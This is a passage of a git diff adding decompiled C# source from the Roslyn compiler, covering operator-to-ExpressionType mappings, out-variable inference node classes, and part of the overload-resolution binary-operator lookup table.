BinaryOperatorKind.RightShift) + { + return binaryOperatorKind == BinaryOperatorKind.UnsignedRightShift; + } + return true; + } + + public static ExpressionType ToExpressionType(this BinaryOperatorKind kind, bool isCompoundAssignment) + { + if (isCompoundAssignment) + { + switch (kind.Operator()) + { + case BinaryOperatorKind.Multiplication: + return ExpressionType.MultiplyAssign; + case BinaryOperatorKind.Addition: + return ExpressionType.AddAssign; + case BinaryOperatorKind.Subtraction: + return ExpressionType.SubtractAssign; + case BinaryOperatorKind.Division: + return ExpressionType.DivideAssign; + case BinaryOperatorKind.Remainder: + return ExpressionType.ModuloAssign; + case BinaryOperatorKind.LeftShift: + return ExpressionType.LeftShiftAssign; + case BinaryOperatorKind.RightShift: + return ExpressionType.RightShiftAssign; + case BinaryOperatorKind.And: + return ExpressionType.AndAssign; + case BinaryOperatorKind.Xor: + return ExpressionType.ExclusiveOrAssign; + case BinaryOperatorKind.Or: + return ExpressionType.OrAssign; + } + } + else + { + switch (kind.Operator()) + { + case BinaryOperatorKind.Multiplication: + return ExpressionType.Multiply; + case BinaryOperatorKind.Addition: + return ExpressionType.Add; + case BinaryOperatorKind.Subtraction: + return ExpressionType.Subtract; + case BinaryOperatorKind.Division: + return ExpressionType.Divide; + case BinaryOperatorKind.Remainder: + return ExpressionType.Modulo; + case BinaryOperatorKind.LeftShift: + return ExpressionType.LeftShift; + case BinaryOperatorKind.RightShift: + return ExpressionType.RightShift; + case BinaryOperatorKind.Equal: + return ExpressionType.Equal; + case BinaryOperatorKind.NotEqual: + return ExpressionType.NotEqual; + case BinaryOperatorKind.GreaterThan: + return ExpressionType.GreaterThan; + case BinaryOperatorKind.LessThan: + return ExpressionType.LessThan; + case BinaryOperatorKind.GreaterThanOrEqual: + return ExpressionType.GreaterThanOrEqual; + case BinaryOperatorKind.LessThanOrEqual: + return ExpressionType.LessThanOrEqual; + case BinaryOperatorKind.And: + return ExpressionType.And; + case BinaryOperatorKind.Xor: + return ExpressionType.ExclusiveOr; + case BinaryOperatorKind.Or: + return ExpressionType.Or; + } + } + throw ExceptionUtilities.UnexpectedValue((object)kind.Operator()); + } + + public static ExpressionType ToExpressionType(this UnaryOperatorKind kind) + { + switch (kind.Operator()) + { + case UnaryOperatorKind.PostfixIncrement: + case UnaryOperatorKind.PrefixIncrement: + return ExpressionType.Increment; + case UnaryOperatorKind.PostfixDecrement: + case UnaryOperatorKind.PrefixDecrement: + return ExpressionType.Decrement; + case UnaryOperatorKind.UnaryPlus: + return ExpressionType.UnaryPlus; + case UnaryOperatorKind.UnaryMinus: + return ExpressionType.Negate; + case UnaryOperatorKind.LogicalNegation: + return ExpressionType.Not; + case UnaryOperatorKind.BitwiseComplement: + return ExpressionType.OnesComplement; + case UnaryOperatorKind.True: + return ExpressionType.IsTrue; + case UnaryOperatorKind.False: + return ExpressionType.IsFalse; + default: + throw ExceptionUtilities.UnexpectedValue((object)kind.Operator()); + } + } + + public static RefKind RefKinds(this ImmutableArray ArgumentRefKinds, int index) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if (ArgumentRefKinds.IsDefault || index >= ArgumentRefKinds.Length) + { + return (RefKind)0; + } + return ArgumentRefKinds[index]; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OutDeconstructVarPendingInference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OutDeconstructVarPendingInference.cs new file mode 100644 index 0000000..a045c17 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OutDeconstructVarPendingInference.cs @@ -0,0 +1,59 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class OutDeconstructVarPendingInference : BoundExpression +{ + public BoundDeconstructValuePlaceholder? Placeholder; + + public override object Display => string.Empty; + + public new TypeSymbol? Type => base.Type; + + public Symbol? VariableSymbol { get; } + + public bool IsDiscardExpression { get; } + + public BoundDeconstructValuePlaceholder SetInferredTypeWithAnnotations(TypeWithAnnotations type, bool success) + { + Placeholder = new BoundDeconstructValuePlaceholder(Syntax, VariableSymbol, IsDiscardExpression, type.Type, base.HasErrors || !success); + return Placeholder; + } + + public BoundDeconstructValuePlaceholder FailInference(Binder binder) + { + return SetInferredTypeWithAnnotations(TypeWithAnnotations.Create(binder.CreateErrorType()), success: false); + } + + public OutDeconstructVarPendingInference(SyntaxNode syntax, Symbol? variableSymbol, bool isDiscardExpression, bool hasErrors) + : base(BoundKind.OutDeconstructVarPendingInference, syntax, null, hasErrors) + { + VariableSymbol = variableSymbol; + IsDiscardExpression = isDiscardExpression; + } + + public OutDeconstructVarPendingInference(SyntaxNode syntax, Symbol? variableSymbol, bool isDiscardExpression) + : base(BoundKind.OutDeconstructVarPendingInference, syntax, null) + { + VariableSymbol = variableSymbol; + IsDiscardExpression = isDiscardExpression; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitOutDeconstructVarPendingInference(this); + } + + public OutDeconstructVarPendingInference Update(Symbol? variableSymbol, bool isDiscardExpression) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(variableSymbol, VariableSymbol) || isDiscardExpression != IsDiscardExpression) + { + OutDeconstructVarPendingInference outDeconstructVarPendingInference = new OutDeconstructVarPendingInference(Syntax, variableSymbol, isDiscardExpression, base.HasErrors); + outDeconstructVarPendingInference.CopyAttributes(this); + return outDeconstructVarPendingInference; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OutVariablePendingInference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OutVariablePendingInference.cs new file mode 100644 index 0000000..0478601 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OutVariablePendingInference.cs @@ -0,0 +1,33 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class OutVariablePendingInference : VariablePendingInference +{ + public override object Display => string.Empty; + + protected override ErrorCode InferenceFailedError => ErrorCode.ERR_TypeInferenceFailedForImplicitlyTypedOutVariable; + + public OutVariablePendingInference(SyntaxNode syntax, Symbol variableSymbol, BoundExpression? receiverOpt, bool hasErrors = false) + : base(BoundKind.OutVariablePendingInference, syntax, variableSymbol, receiverOpt, hasErrors || receiverOpt.HasErrors()) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitOutVariablePendingInference(this); + } + + public OutVariablePendingInference Update(Symbol variableSymbol, BoundExpression? receiverOpt) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(variableSymbol, base.VariableSymbol) || receiverOpt != base.ReceiverOpt) + { + OutVariablePendingInference outVariablePendingInference = new OutVariablePendingInference(Syntax, variableSymbol, receiverOpt, base.HasErrors); + outVariablePendingInference.CopyAttributes(this); + return outVariablePendingInference; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OverloadResolution.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OverloadResolution.cs new file mode 100644 index 0000000..0957917 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OverloadResolution.cs @@ -0,0 +1,9985 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Shared.Collections; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class OverloadResolution +{ + internal static class BinopEasyOut + { + private const BinaryOperatorKind ERR = BinaryOperatorKind.Error; + + private const BinaryOperatorKind OBJ = BinaryOperatorKind.Object; + + private const BinaryOperatorKind STR = BinaryOperatorKind.String; + + private const BinaryOperatorKind OSC = BinaryOperatorKind.ObjectAndString; + + private const BinaryOperatorKind SOC = BinaryOperatorKind.StringAndObject; + + private const BinaryOperatorKind INT = BinaryOperatorKind.Int; + + private const BinaryOperatorKind UIN = BinaryOperatorKind.UInt; + + private const BinaryOperatorKind LNG = BinaryOperatorKind.Long; + + private const BinaryOperatorKind ULG = BinaryOperatorKind.ULong; + + private const BinaryOperatorKind NIN = BinaryOperatorKind.NInt; + + private const BinaryOperatorKind NUI = BinaryOperatorKind.NUInt; + + private const BinaryOperatorKind FLT = BinaryOperatorKind.Float; + + private const BinaryOperatorKind DBL = BinaryOperatorKind.Double; + + private const BinaryOperatorKind DEC = BinaryOperatorKind.Decimal; + + private const BinaryOperatorKind BOL = BinaryOperatorKind.Bool; + + private const BinaryOperatorKind LIN = BinaryOperatorKind.Int | BinaryOperatorKind.Lifted; + + private const BinaryOperatorKind LUN = BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted; + + private const BinaryOperatorKind LLG = BinaryOperatorKind.Long | BinaryOperatorKind.Lifted; + + private const BinaryOperatorKind LUL = BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted; + + private const BinaryOperatorKind LNI = BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted; + + private const BinaryOperatorKind LNU = BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted; + + private const BinaryOperatorKind LFL = BinaryOperatorKind.Float | BinaryOperatorKind.Lifted; + + private const BinaryOperatorKind LDB = BinaryOperatorKind.Double | BinaryOperatorKind.Lifted; + + private const BinaryOperatorKind LDC = BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted; + + private const BinaryOperatorKind LBL = BinaryOperatorKind.Bool | BinaryOperatorKind.Lifted; + + private static readonly BinaryOperatorKind[,] s_arithmetic = new BinaryOperatorKind[32, 32] + { + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.Long, + BinaryOperatorKind.Int, + BinaryOperatorKind.Int, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Int | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.Long, + BinaryOperatorKind.UInt, + BinaryOperatorKind.UInt, + BinaryOperatorKind.UInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Long, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.UInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong, + BinaryOperatorKind.ULong, + BinaryOperatorKind.ULong, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Long, + BinaryOperatorKind.NInt, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Long, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Long | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.ULong, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Decimal, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.ULong | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error, + BinaryOperatorKind.NUInt | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Decimal | BinaryOperatorKind.Lifted + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Float, + BinaryOperatorKind.Double, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Float | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Double | BinaryOperatorKind.Lifted, + BinaryOperatorKind.Error + }, + { + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Error, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + BinaryOperatorKind.Double, + 